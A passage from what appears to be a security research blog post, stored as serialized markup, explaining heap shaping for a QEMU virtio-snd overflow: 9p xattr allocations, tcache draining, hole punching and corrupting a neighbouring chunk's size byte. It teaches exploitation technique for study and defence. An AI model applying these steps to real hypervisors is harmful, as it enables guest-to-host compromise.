fid;\n",{"type":23,"tag":75,"props":138351,"children":138352},{"class":77,"line":161},[138353,138357],{"type":23,"tag":75,"props":138354,"children":138355},{"style":82},[138356],{"type":29,"value":66796},{"type":23,"tag":75,"props":138358,"children":138359},{"style":94},[138360],{"type":29,"value":134937},{"type":23,"tag":75,"props":138362,"children":138363},{"class":77,"line":196},[138364,138369,138374,138378,138382],{"type":23,"tag":75,"props":138365,"children":138366},{"style":82},[138367],{"type":29,"value":138368},"    ssize_t",{"type":23,"tag":75,"props":138370,"children":138371},{"style":94},[138372],{"type":29,"value":138373}," err ",{"type":23,"tag":75,"props":138375,"children":138376},{"style":209},[138377],{"type":29,"value":212},{"type":23,"tag":75,"props":138379,"children":138380},{"style":237},[138381],{"type":29,"value":240},{"type":23,"tag":75,"props":138383,"children":138384},{"style":94},[138385],{"type":29,"value":245},{"type":23,"tag":75,"props":138387,"children":138388},{"class":77,"line":220},[138389],{"type":23,"tag":75,"props":138390,"children":138391},{"style":94},[138392],{"type":29,"value":138393},"    V9fsString name;\n",{"type":23,"tag":75,"props":138395,"children":138396},{"class":77,"line":248},[138397,138401,138406,138410,138415],{"type":23,"tag":75,"props":138398,"children":138399},{"style":82},[138400],{"type":29,"value":27788},{"type":23,"tag":75,"props":138402,"children":138403},{"style":94},[138404],{"type":29,"value":138405}," offset ",{"type":23,"tag":75,"props":138407,"children":138408},{"style":209},[138409],{"type":29,"value":212},{"type":23,"tag":75,"props":138411,"children":138412},{"style":237},[138413],{"type":29,"value":138414}," 7",{"type":23,"tag":75,"props":138416,"children":138417},{"style":94},[138418],{"type":29,"value":245},{"type":23,"tag":75,"props":138420,"children":138421},{"class":77,"line":270},[138422,138427,138431],{"type":23,"tag":75,"props":138423,"children":138424},{"style":94},[138425],{"type":29,"value":138426},"    V9fsFidState ",{"type":23,"tag":75,"props":138428,"children":138429},{"style":209},[138430],{"type":29,"value":601},{"type":23,"tag":75,"props":138432,"children":138433},{"style":94},[138434],{"type":29,"value":138435},"file_fidp;\n",{"type":23,"tag":75,"props":138437,"children":138438},{"class":77,"line":279},[138439,138443,138447],{"type":23,"tag":75,"props":138440,"children":138441},{"style":94},[138442],{"type":29,"value":138426},{"type":23,"tag":75,"props":138444,"children":138445},{"style":209},[138446],{"type":29,"value":601},{"type":23,"tag":75,"props":138448,"children":138449},{"style":94},[138450],{"type":29,"value":138451},"xattr_fidp;\n",{"type":23,"tag":75,"props":138453,"children":138454},{"class":77,"line":303},[138455,138460,138464,138469,138473],{"type":23,"tag":75,"props":138456,"children":138457},{"style":94},[138458],{"type":29,"value":138459},"    V9fsPDU ",{"type":23,"tag":75,"props":138461,"children":138462},{"style":209},[138463],{"type":29,"value":601},{"type":23,"tag":75,"props":138465,"children":138466},{"style":94},[138467],{"type":29,"value":138468},"pdu ",{"type":23,"tag":75,"props":138470,"children":138471},{"style":209},[138472],{"type":29,"value":212},{"type":23,"tag":75,"props":138474,"children":138475},{"style":94},[138476],{"type":29,"value":138477}," opaque;\n",{"type":23,"tag":75,"props":138479,"children":138480},{"class":77,"line":322},[138481],{"type":23,"tag":75,"props":138482,"children":138483},{"emptyLinePlaceholder":15},[138484],{"type":29,"value":276},{"type":23,"tag":75,"props":138486,"children":138487},{"class":77,"line":340},[138488,138493,138497,138501],{"type":23,"tag":75,"props":138489,"children":138490},{"style":88},[138491],{"type":29,"value":138492},"    v9fs_string_init",{"type":23,"tag":75,"props":138494,"children":138495},{"style":94},[138496],{"type":29,"value":643},{"type":23,"tag":75,"props":138498,"children":138499},{"style":209},[138500],{"type":29,"value":1277},{"type":23,"tag":75,"props":138502,"children":138503},{"style":94},[138504],{"type":29,"value":138505},"name);\n",{"type":23,"tag":75,"props":138507,"children":138508},{"class":77,"line":349},[138509,138514,138518,138523,138528,138533,138537,138541,138546,138550,138555,138559,138563,138567],{"type":23,"tag":75,"props":138510,"children":138511},{"style":94},[138512],{"type":29,"value":138513},"    err ",{"type":23,"tag":75,"props":138515,"children":138516},{"style":209},[138517],{"type":29,"value":212},{"type":23,"tag":75,"props":138519,"children":138520},{"style":88},[138521],{"type":29,"value":138522}," pdu_unmarshal",{"type":23,"tag":75,"props":138524,"children":138525},{"style":94},[138526],{"type":29,"value":138527},"(pdu, offset, ",{"type":23,"tag":75,"props":138529,"children":138530},{"style":1266},[138531],{"type":29,"value":138532},"\"dsqd\"",{"type":23,"tag":75,"props":138534,"children":138535},{"style":94},[138536],{"type":29,"value":611},{"type":23,"tag":75,"props":138538,"children":138539},{"style":209},[138540],{"type":29,"value":1277},{"type":23,"tag":75,"props":138542,"children":138543},{"style":94},[138544],{"type":29,"value":138545},"fid, ",{"type":23,"tag":75,"props":138547,"children":138548},{"style":209},[138549],{"type":29,"value":1277},{"type":23,"tag":75,"props":138551,"children":138552},{"style":94},[138553],{"type":29,"value":138554},"name, ",{"type":23,"tag":75,"props":138556,"children":138557},{"style":209},[138558],{"type":29,"value":1277},{"type":23,"tag":75,"props":138560,"children":138561},{"style":94},[138562],{"type":29,"value":137305},{"type":23,"tag":75,"props":138564,"children":138565},{"style":209},[138566],{"type":29,"value":1277},{"type":23,"tag":75,"props":138568,"children":138569},{"style":94},[138570],{"type":29,"value":138571},"flags);\n",{"type":23,"tag":75,"props":138573,"children":138574},{"class":77,"line":363},[138575,138579,138584,138588,138592],{"type":23,"tag":75,"props":138576,"children":138577},{"style":175},[138578],{"type":29,"value":1363},{"type":23,"tag":75,"props":138580,"children":138581},{"style":94},[138582],{"type":29,"value":138583}," (err ",{"type":23,"tag":75,"props":138585,"children":138586},{"style":209},[138587],{"type":29,"value":295},{"type":23,"tag":75,"props":138589,"children":138590},{"style":237},[138591],{"type":29,"value":240},{"type":23,"tag":75,"props":138593,"children":138594},{"style":94},[138595],{"type":29,"value":193},{"type":23,"tag":75,"props":138597,"children":138598},{"class":77,"line":656},[138599,138604],{"type":23,"tag":75,"props":138600,"children":138601},{"style":175},[138602],{"type":29,"value":138603},"        goto",{"type":23,"tag":75,"props":138605,"children":138606},{"style":94},[138607],{"type":29,"value":138608}," out_nofid;\n",{"type":23,"tag":75,"props":138610,"children":138611},{"class":77,"line":705},[138612],{"type":23,"tag":75,"props":138613,"children":138614},{"style":94},[138615],{"type":29,"value":346},{"type":23,"tag":75,"props":138617,"children":138618},{"class":77,"line":787},[138619],{"type":23,"tag":75,"props":138620,"children":138621},{"emptyLinePlaceholder":15},[138622],{"type":29,"value":276},{"type":23,"tag":75,"props":138624,"children":138625},{"class":77,"line":826},[138626],{"type":23,"tag":75,"props":138627,"children":138628},{"style":94},[138629],{"type":29,"value":115136},{"type":23,"tag":75,"props":138631,"children":138632},{"class":77,"line":834},[138633],{"type":23,"tag":75,"props":138634,"children":138635},{"emptyLinePlaceholder":15},[138636],{"type":29,"value":276},{"type":23,"tag":75,"props":138638,"children":138639},{"class":77,"line":881},[138640,138644,138648,138652],{"type":23,"tag":75,"props":138641,"children":138642},{"style":175},[138643],{"type":29,"value":1363},{"type":23,"tag":75,"props":138645,"children":138646},{"style":94},[138647],{"type":29,"value":137406},{"type":23,"tag":75,"props":138649,"children":138650},{"style":209},[138651],{"type":29,"value":4652},{"type":23,"tag":75,"props":138653,"children":138654},{"style":94},[138655],{"type":29,"value":138656}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":75,"props":138658,"children":138659},{"class":77,"line":3355},[138660,138665,138669,138673],{"type":23,"tag":75,"props":138661,"children":138662},{"style":94},[138663],{"type":29,"value":138664},"        err ",{"type":23,"tag":75,"props":138666,"children":138667},{"style":209},[138668],{"type":29,"value":212},{"type":23,"tag":75,"props":138670,"children":138671},{"style":209},[138672],{"type":29,"value":62440},{"type":23,"tag":75,"props":138674,"children":138675},{"style":94},[138676],{"type":29,"value":138677},"E2BIG;\n",{"type":23,"tag":75,"props":138679,"children":138680},{"class":77,"line":3390},[138681,138685],{"type":23,"tag":75,"props":138682,"children":138683},{"style":175},[138684],{"type":29,"value":138603},{"type":23,"tag":75,"props":138686,"children":138687},{"style":94},[138688],{"type":29,"value":138608},{"type":23,"tag":75,"props":138690,"children":138691},{"class":77,"line":3423},[138692],{"type":23,"tag":75,"props":138693,"children":138694},{"style":94},[138695],{"type":29,"value":346},{"type":23,"tag":75,"props":138697,"children":138698},{"class":77,"line":3436},[138699],{"type":23,"tag":75,"props":138700,"children":138701},{"emptyLinePlaceholder":15},[138702],{"type":29,"value":276},{"type":23,"tag":75,"props":138704,"children":138705},{"class":77,"line":3449},[138706],{"type":23,"tag":75,"props":138707,"children":138708},{"style":94},[138709],{"type":29,"value":115136},{"type":23,"tag":75,"props":138711,"children":138712},{"class":77,"line":3457},[138713],{"type":23,"tag":75,"props":138714,"children":138715},{"emptyLinePlaceholder":15},[138716],{"type":29,"value":276},{"type":23,"tag":75,"props":138718,"children":138719},{"class":77,"line":3465},[138720,138724,138728,138732,138737,138741,138745,138749,138754,138758,138762],{"type":23,"tag":75,"props":138721,"children":138722},{"style":88},[138723],{"type":29,"value":138492},{"type":23,"tag":75,"props":138725,"children":138726},{"style":94},[138727],{"type":29,"value":643},{"type":23,"tag":75,"props":138729,"children":138730},{"style":209},[138731],{"type":29,"value":1277},{"type":23,"tag":75,"props":138733,"children":138734},{"style":110},[138735],{"type":29,"value":138736},"xattr_fidp",{"type":23,"tag":75,"props":138738,"children":138739},{"style":94},[138740],{"type":29,"value":1156},{"type":23,"tag":75,"props":138742,"children":138743},{"style":110},[138744],{"type":29,"value":48174},{"type":23,"tag":75,"props":138746,"children":138747},{"style":94},[138748],{"type":29,"value":557},{"type":23,"tag":75,"props":138750,"children":138751},{"style":110},[138752],{"type":29,"value":138753},"xattr",{"type":23,"tag":75,"props":138755,"children":138756},{"style":94},[138757],{"type":29,"value":557},{"type":23,"tag":75,"props":138759,"children":138760},{"style":110},[138761],{"type":29,"value":13969},{"type":23,"tag":75,"props":138763,"children":138764},{"style":94},[138765],{"type":29,"value":15099},{"type":23,"tag":75,"props":138767,"children":138768},{"class":77,"line":3473},[138769,138774,138778,138782,138786,138790,138794,138798,138802,138806,138810,138814,138818],{"type":23,"tag":75,"props":138770,"children":138771},{"style":88},[138772],{"type":29,"value":138773},"    v9fs_string_copy",{"type":23,"tag":75,"props":138775,"children":138776},{"style":94},[138777],{"type":29,"value":643},{"type":23,"tag":75,"props":138779,"children":138780},{"style":209},[138781],{"type":29,"value":1277},{"type":23,"tag":75,"props":138783,"children":138784},{"style":110},[138785],{"type":29,"value":138736},{"type":23,"tag":75,"props":138787,"children":138788},{"style":94},[138789],{"type":29,"value":1156},{"type":23,"tag":75,"props":138791,"children":138792},{"style":110},[138793],{"type":29,"value":48174},{"type":23,"tag":75,"props":138795,"children":138796},{"style":94},[138797],{"type":29,"value":557},{"type":23,"tag":75,"props":138799,"children":138800},{"style":110},[138801],{"type":29,"value":138753},{"type":23,"tag":75,"props":138803,"children":138804},{"style":94},[138805],{"type":29,"value":557},{"type":23,"tag":75,"props":138807,"children":138808},{"style":110},[138809],{"type":29,"value":13969},{"type":23,"tag":75,"props":138811,"children":138812},{"style":94},[138813],{"type":29,"value":611},{"type":23,"tag":75,"props":138815,"children":138816},{"style":209},[138817],{"type":29,"value":1277},{"type":23,"tag":75,"props":138819,"children":138820},{"style":94},[138821],{"type":29,"value":138505},{"type":23,"tag":75,"props":138823,"children":138824},{"class":77,"line":3481},[138825,138830,138834,138838,138842,138846,138850,138854,138858,138862],{"type":23,"tag":75,"props":138826,"children":138827},{"style":110},[138828],{"type":29,"value":138829},"    xattr_fidp",{"type":23,"tag":75,"props":138831,"children":138832},{"style":94},[138833],{"type":29,"value":1156},{"type":23,"tag":75,"props":138835,"children":138836},{"style":110},[138837],{"type":29,"value":48174},{"type":23,"tag":75,"props":138839,"children":138840},{"style":94},[138841],{"type":29,"value":557},{"type":23,"tag":75,"props":138843,"children":138844},{"style":110},[138845],{"type":29,"value":138753},{"type":23,"tag":75,"props":138847,"children":138848},{"style":94},[138849],{"type":29,"value":557},{"type":23,"tag":75,"props":138851,"children":138852},{"style":110},[138853],{"type":29,"value":1672},{"type":23,"tag":75,"props":138855,"children":138856},{"style":209},[138857],{"type":29,"value":1193},{"type":23,"tag":75,"props":138859,"children":138860},{"style":88},[138861],{"type":29,"value":134508},{"type":23,"tag":75,"props":138863,"children":138864},{"style":94},[138865],{"type":29,"value":138866},"(size);\n",{"type":23,"tag":75,"props":138868,"children":138869},{"class":77,"line":3524},[138870],{"type":23,"tag":75,"props":138871,"children":138872},{"style":94},[138873],{"type":29,"value":369},{"type":23,"tag":32,"props":138875,"children":138876},{},[138877,138879,138884,138886,138891,138892,138897,138899,138904],{"type":29,"value":138878},"Because the ",{"type":23,"tag":71,"props":138880,"children":138882},{"className":138881},[],[138883],{"type":29,"value":138240},{"type":29,"value":138885}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":71,"props":138887,"children":138889},{"className":138888},[],[138890],{"type":29,"value":138240},{"type":29,"value":2721},{"type":23,"tag":71,"props":138893,"children":138895},{"className":138894},[],[138896],{"type":29,"value":138247},{"type":29,"value":138898},", not just the ",{"type":23,"tag":71,"props":138900,"children":138902},{"className":138901},[],[138903],{"type":29,"value":138247},{"type":29,"value":138905}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":32,"props":138907,"children":138908},{},[138909,138910,138915],{"type":29,"value":2846},{"type":23,"tag":71,"props":138911,"children":138913},{"className":138912},[],[138914],{"type":29,"value":138247},{"type":29,"value":138916}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":32,"props":138918,"children":138919},{},[138920,138922,138927,138929,138935,138937,138943,138945,138951],{"type":29,"value":138921},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":71,"props":138923,"children":138925},{"className":138924},[],[138926],{"type":29,"value":138247},{"type":29,"value":138928}," buffer through a ",{"type":23,"tag":71,"props":138930,"children":138932},{"className":138931},[],[138933],{"type":29,"value":138934},"P9_TWRITE",{"type":29,"value":138936}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":71,"props":138938,"children":138940},{"className":138939},[],[138941],{"type":29,"value":138942},"P9_TREAD",{"type":29,"value":138944},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":71,"props":138946,"children":138948},{"className":138947},[],[138949],{"type":29,"value":138950},"P9_TCLUNK",{"type":29,"value":138952}," request on that same FID.",{"type":23,"tag":32,"props":138954,"children":138955},{},[138956,138958,138964],{"type":29,"value":138957},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":71,"props":138959,"children":138961},{"className":138960},[],[138962],{"type":29,"value":138963},"65536",{"type":29,"value":138965}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":923,"props":138967,"children":138969},{"id":138968},"setting-the-heap-layout",[138970],{"type":29,"value":138971},"Setting the Heap Layout",{"type":23,"tag":32,"props":138973,"children":138974},{},[138975,138977,138982],{"type":29,"value":138976},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":71,"props":138978,"children":138980},{"className":138979},[],[138981],{"type":29,"value":138247},{"type":29,"value":138983}," allocations, like this:",{"type":23,"tag":64,"props":138985,"children":138987},{"code":138986},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[138988],{"type":23,"tag":71,"props":138989,"children":138990},{"__ignoreMap":7},[138991],{"type":29,"value":138986},{"type":23,"tag":32,"props":138993,"children":138994},{},[138995,138997,139002,139004,139009,139011,139016],{"type":29,"value":138996},"This lets us later create holes by freeing every other ",{"type":23,"tag":71,"props":138998,"children":139000},{"className":138999},[],[139001],{"type":29,"value":138247},{"type":29,"value":139003}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":71,"props":139005,"children":139007},{"className":139006},[],[139008],{"type":29,"value":134595},{"type":29,"value":139010}," field of the next live ",{"type":23,"tag":71,"props":139012,"children":139014},{"className":139013},[],[139015],{"type":29,"value":138247},{"type":29,"value":139017}," chunk.",{"type":23,"tag":32,"props":139019,"children":139020},{},[139021],{"type":29,"value":139022},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":32,"props":139024,"children":139025},{},[139026,139028,139033,139035,139040,139042,139047,139049,139054],{"type":29,"value":139027},"As mentioned earlier, ",{"type":23,"tag":71,"props":139029,"children":139031},{"className":139030},[],[139032],{"type":29,"value":138284},{"type":29,"value":139034}," always allocates two chunks: one for ",{"type":23,"tag":71,"props":139036,"children":139038},{"className":139037},[],[139039],{"type":29,"value":138240},{"type":29,"value":139041}," and one for ",{"type":23,"tag":71,"props":139043,"children":139045},{"className":139044},[],[139046],{"type":29,"value":138247},{"type":29,"value":139048},". We want to avoid having ",{"type":23,"tag":71,"props":139050,"children":139052},{"className":139051},[],[139053],{"type":29,"value":138240},{"type":29,"value":139055}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":2797,"props":139057,"children":139058},{},[139059,139071],{"type":23,"tag":2801,"props":139060,"children":139061},{},[139062,139064,139069],{"type":29,"value":139063},"Make ",{"type":23,"tag":71,"props":139065,"children":139067},{"className":139066},[],[139068],{"type":29,"value":138240},{"type":29,"value":139070}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":2801,"props":139072,"children":139073},{},[139074,139076,139081,139083,139088,139090,139095],{"type":29,"value":139075},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":71,"props":139077,"children":139079},{"className":139078},[],[139080],{"type":29,"value":138240},{"type":29,"value":139082},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":71,"props":139084,"children":139086},{"className":139085},[],[139087],{"type":29,"value":138240},{"type":29,"value":139089}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":71,"props":139091,"children":139093},{"className":139092},[],[139094],{"type":29,"value":138247},{"type":29,"value":139096}," chunks.",{"type":23,"tag":30116,"props":139098,"children":139100},{"id":139099},"separating-name-allocations",[139101],{"type":29,"value":139102},"Separating .name allocations",{"type":23,"tag":32,"props":139104,"children":139105},{},[139106,139108,139113,139115,139120],{"type":29,"value":139107},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":71,"props":139109,"children":139111},{"className":139110},[],[139112],{"type":29,"value":138284},{"type":29,"value":139114}," for N ",{"type":23,"tag":71,"props":139116,"children":139118},{"className":139117},[],[139119],{"type":29,"value":138240},{"type":29,"value":139121},"-sized allocations and then freeing them.",{"type":23,"tag":32,"props":139123,"children":139124},{},[139125,139127,139132,139133,139138,139139,139144,139146,139151,139153,139158],{"type":29,"value":139126},"At this point, we already know that ",{"type":23,"tag":71,"props":139128,"children":139130},{"className":139129},[],[139131],{"type":29,"value":138284},{"type":29,"value":139034},{"type":23,"tag":71,"props":139134,"children":139136},{"className":139135},[],[139137],{"type":29,"value":138240},{"type":29,"value":139041},{"type":23,"tag":71,"props":139140,"children":139142},{"className":139141},[],[139143],{"type":29,"value":138247},{"type":29,"value":139145},". If we simply call it with ",{"type":23,"tag":71,"props":139147,"children":139149},{"className":139148},[],[139150],{"type":29,"value":138247},{"type":29,"value":139152}," sized the same as ",{"type":23,"tag":71,"props":139154,"children":139156},{"className":139155},[],[139157],{"type":29,"value":138240},{"type":29,"value":139159},", we get a layout like this:",{"type":23,"tag":64,"props":139161,"children":139163},{"code":139162},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[139164],{"type":23,"tag":71,"props":139165,"children":139166},{"__ignoreMap":7},[139167],{"type":29,"value":139162},{"type":23,"tag":32,"props":139169,"children":139170},{},[139171,139173,139178,139180,139186,139188,139194,139196,139201,139203,139208,139210,139215],{"type":29,"value":139172},"With that heap state, issuing a ",{"type":23,"tag":71,"props":139174,"children":139176},{"className":139175},[],[139177],{"type":29,"value":138950},{"type":29,"value":139179}," request would first free ",{"type":23,"tag":71,"props":139181,"children":139183},{"className":139182},[],[139184],{"type":29,"value":139185},".name A",{"type":29,"value":139187}," and then ",{"type":23,"tag":71,"props":139189,"children":139191},{"className":139190},[],[139192],{"type":29,"value":139193},".value A",{"type":29,"value":139195},". When ",{"type":23,"tag":71,"props":139197,"children":139199},{"className":139198},[],[139200],{"type":29,"value":139193},{"type":29,"value":139202}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":71,"props":139204,"children":139206},{"className":139205},[],[139207],{"type":29,"value":139185},{"type":29,"value":139209}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":71,"props":139211,"children":139213},{"className":139212},[],[139214],{"type":29,"value":138240},{"type":29,"value":139216},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":32,"props":139218,"children":139219},{},[139220],{"type":29,"value":139221},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":32,"props":139223,"children":139224},{},[139225,139227,139232,139234,139239,139241,139246,139248,139254,139256,139261,139263,139269],{"type":29,"value":139226},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":71,"props":139228,"children":139230},{"className":139229},[],[139231],{"type":29,"value":138240},{"type":29,"value":139233}," allocation remains fixed at size ",{"type":23,"tag":71,"props":139235,"children":139237},{"className":139236},[],[139238],{"type":29,"value":115402},{"type":29,"value":139240},". We first allocate 16 xattrs whose ",{"type":23,"tag":71,"props":139242,"children":139244},{"className":139243},[],[139245],{"type":29,"value":138247},{"type":29,"value":139247}," size is ",{"type":23,"tag":71,"props":139249,"children":139251},{"className":139250},[],[139252],{"type":29,"value":139253},"0x30",{"type":29,"value":139255},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":71,"props":139257,"children":139259},{"className":139258},[],[139260],{"type":29,"value":138247},{"type":29,"value":139262}," size ",{"type":23,"tag":71,"props":139264,"children":139266},{"className":139265},[],[139267],{"type":29,"value":139268},"0x40",{"type":29,"value":139270},", and continue in the same way for each tcache size class.",{"type":23,"tag":32,"props":139272,"children":139273},{},[139274],{"type":29,"value":139275},"This yields the following layout:",{"type":23,"tag":64,"props":139277,"children":139279},{"code":139278},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[139280],{"type":23,"tag":71,"props":139281,"children":139282},{"__ignoreMap":7},[139283],{"type":29,"value":139278},{"type":23,"tag":32,"props":139285,"children":139286},{},[139287,139289,139294,139296,139301,139303,139308,139310,139315,139317,139322,139324,139329,139330,139335,139337,139342,139344,139349,139351,139356,139358,139363,139365,139370],{"type":29,"value":139288},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":71,"props":139290,"children":139292},{"className":139291},[],[139293],{"type":29,"value":138240},{"type":29,"value":139295}," chunks end up in the ",{"type":23,"tag":71,"props":139297,"children":139299},{"className":139298},[],[139300],{"type":29,"value":115402},{"type":29,"value":139302}," tcache bin, along with the interleaved ",{"type":23,"tag":71,"props":139304,"children":139306},{"className":139305},[],[139307],{"type":29,"value":138247},{"type":29,"value":139309}," chunks of size ",{"type":23,"tag":71,"props":139311,"children":139313},{"className":139312},[],[139314],{"type":29,"value":139253},{"type":29,"value":139316},". The next 16 ",{"type":23,"tag":71,"props":139318,"children":139320},{"className":139319},[],[139321],{"type":29,"value":138240},{"type":29,"value":139323}," chunks are interleaved with ",{"type":23,"tag":71,"props":139325,"children":139327},{"className":139326},[],[139328],{"type":29,"value":138247},{"type":29,"value":139309},{"type":23,"tag":71,"props":139331,"children":139333},{"className":139332},[],[139334],{"type":29,"value":139268},{"type":29,"value":139336},"; when freed, those ",{"type":23,"tag":71,"props":139338,"children":139340},{"className":139339},[],[139341],{"type":29,"value":138247},{"type":29,"value":139343}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":71,"props":139345,"children":139347},{"className":139346},[],[139348],{"type":29,"value":138240},{"type":29,"value":139350}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":71,"props":139352,"children":139354},{"className":139353},[],[139355],{"type":29,"value":138240},{"type":29,"value":139357},"-sized chunks that will later be served to the ",{"type":23,"tag":71,"props":139359,"children":139361},{"className":139360},[],[139362],{"type":29,"value":138240},{"type":29,"value":139364}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":71,"props":139366,"children":139368},{"className":139367},[],[139369],{"type":29,"value":138247},{"type":29,"value":139096},{"type":23,"tag":923,"props":139372,"children":139374},{"id":139373},"corrupting-the-size",[139375],{"type":29,"value":139376},"Corrupting the Size",{"type":23,"tag":32,"props":139378,"children":139379},{},[139380,139382,139387,139389,139394,139396,139401,139403,139408,139409,139414],{"type":29,"value":139381},"The input format is guest-controlled, and we choose ",{"type":23,"tag":71,"props":139383,"children":139385},{"className":139384},[],[139386],{"type":29,"value":1139},{"type":29,"value":139388}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":71,"props":139390,"children":139392},{"className":139391},[],[139393],{"type":29,"value":1139},{"type":29,"value":139395}," is centered at ",{"type":23,"tag":71,"props":139397,"children":139399},{"className":139398},[],[139400],{"type":29,"value":40636},{"type":29,"value":139402}," (rather than ",{"type":23,"tag":71,"props":139404,"children":139406},{"className":139405},[],[139407],{"type":29,"value":136502},{"type":29,"value":136489},{"type":23,"tag":71,"props":139410,"children":139412},{"className":139411},[],[139413],{"type":29,"value":136480},{"type":29,"value":139415},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":32,"props":139417,"children":139418},{},[139419,139421,139426],{"type":29,"value":139420},"As we already concluded, ",{"type":23,"tag":71,"props":139422,"children":139424},{"className":139423},[],[139425],{"type":29,"value":135945},{"type":29,"value":139427}," is called with the amount:",{"type":23,"tag":64,"props":139429,"children":139431},{"code":139430},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[139432],{"type":23,"tag":71,"props":139433,"children":139434},{"__ignoreMap":7},[139435],{"type":29,"value":139430},{"type":23,"tag":32,"props":139437,"children":139438},{},[139439,139441,139446,139448,139453],{"type":29,"value":139440},"And as mentioned earlier, ",{"type":23,"tag":71,"props":139442,"children":139444},{"className":139443},[],[139445],{"type":29,"value":135976},{"type":29,"value":139447}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":71,"props":139449,"children":139451},{"className":139450},[],[139452],{"type":29,"value":134595},{"type":29,"value":69509},{"type":23,"tag":32,"props":139455,"children":139456},{},[139457,139459,139464,139466,139471],{"type":29,"value":139458},"With the desired heap layout of repeated ",{"type":23,"tag":71,"props":139460,"children":139462},{"className":139461},[],[139463],{"type":29,"value":138149},{"type":29,"value":139465},"-sized ",{"type":23,"tag":71,"props":139467,"children":139469},{"className":139468},[],[139470],{"type":29,"value":138247},{"type":29,"value":139472}," chunks in place, we can then free every other one:",{"type":23,"tag":64,"props":139474,"children":139476},{"code":139475},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[139477],{"type":23,"tag":71,"props":139478,"children":139479},{"__ignoreMap":7},[139480],{"type":29,"value":139475},{"type":23,"tag":32,"props":139482,"children":139483},{},[139484,139486,139491],{"type":29,"value":139485},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":71,"props":139487,"children":139489},{"className":139488},[],[139490],{"type":29,"value":138247},{"type":29,"value":139492}," chunk directly next to it:",{"type":23,"tag":64,"props":139494,"children":139496},{"code":139495},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[139497],{"type":23,"tag":71,"props":139498,"children":139499},{"__ignoreMap":7},[139500],{"type":29,"value":139495},{"type":23,"tag":32,"props":139502,"children":139503},{},[139504,139506,139511,139513,139518],{"type":29,"value":139505},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":71,"props":139507,"children":139509},{"className":139508},[],[139510],{"type":29,"value":138149},{"type":29,"value":139512},"-sized 